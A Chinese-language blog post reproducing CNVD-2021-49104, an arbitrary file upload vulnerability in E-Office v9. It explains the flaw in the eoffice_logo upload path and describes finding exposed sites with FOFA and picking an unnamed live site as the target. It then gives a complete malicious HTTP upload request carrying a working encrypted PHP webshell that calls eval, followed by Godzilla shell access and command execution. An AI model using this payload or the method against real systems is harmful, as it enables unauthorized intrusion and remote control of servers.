某 E-Office v9 任意文件上傳漏洞復現實戰
VSole2022-01-17 15:53:39
前言
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。
本文章中的漏洞均為公開的漏洞收集,如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯系作者,望諒解。
01 漏洞原理
本次復現漏洞為未公開漏洞 CNVD-2021-49104,該漏洞是由于 e-office 其上傳模塊中用戶輸入部分未能妥善處理,攻擊者可以構造惡意的上傳數據包,實現任意代碼執行。
下圖為漏洞相關代碼段

圖1 漏洞代碼段
存在漏洞的源代碼位置,主要是源于 uploadType 參數設為 eoffice_logo 時,對文件沒有校驗,導致任意文件上傳。
02 漏洞復現實戰
1.信息收集
FOFA收集涉及E-office的Web站點

圖2 FOFA信息收集
2.選取復現目標
以XX網站為例

圖3 OA E-office 界面
3.構造POC
Burpsuite進行抓包,改包。數據包構造為
POC:`POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1Host: 127.0.0.1:7899User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348Content-Length: 193Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="Filedata"; filename="test.php"Content-Type: image/jpeg
@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;}$pass='pass';$payloadName='payload';$key='3c6e0b8a9c15224a';if (isset($POST[$pass])){$data=encode(base64_decode($POST[$pass]),$key);if (isset($SESSION[$payloadName])){$payload=encode($SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}}
--e64bdf16c554bbc109cecef6451c26a4--`

圖4 Burpsuite改包
結合burp響應情況,回顯為文件名,成功上傳文件logo-eoffice.php。
4.驗證漏洞并getshell
進行上傳操作后,訪問以下路徑
http://???/images/logo/logo-eoffice.php

圖5 訪問文件路徑
使用工具哥斯拉,進行連接shell

圖6 哥斯拉getshell
進行命令執行,可以正常執行,成功getshell

圖7 命令執行
結束語
本文章簡要介紹了該漏洞的漏洞原理并完成了漏洞復現的實戰。感謝小黑師傅的友情幫助。
VSole
網絡安全專家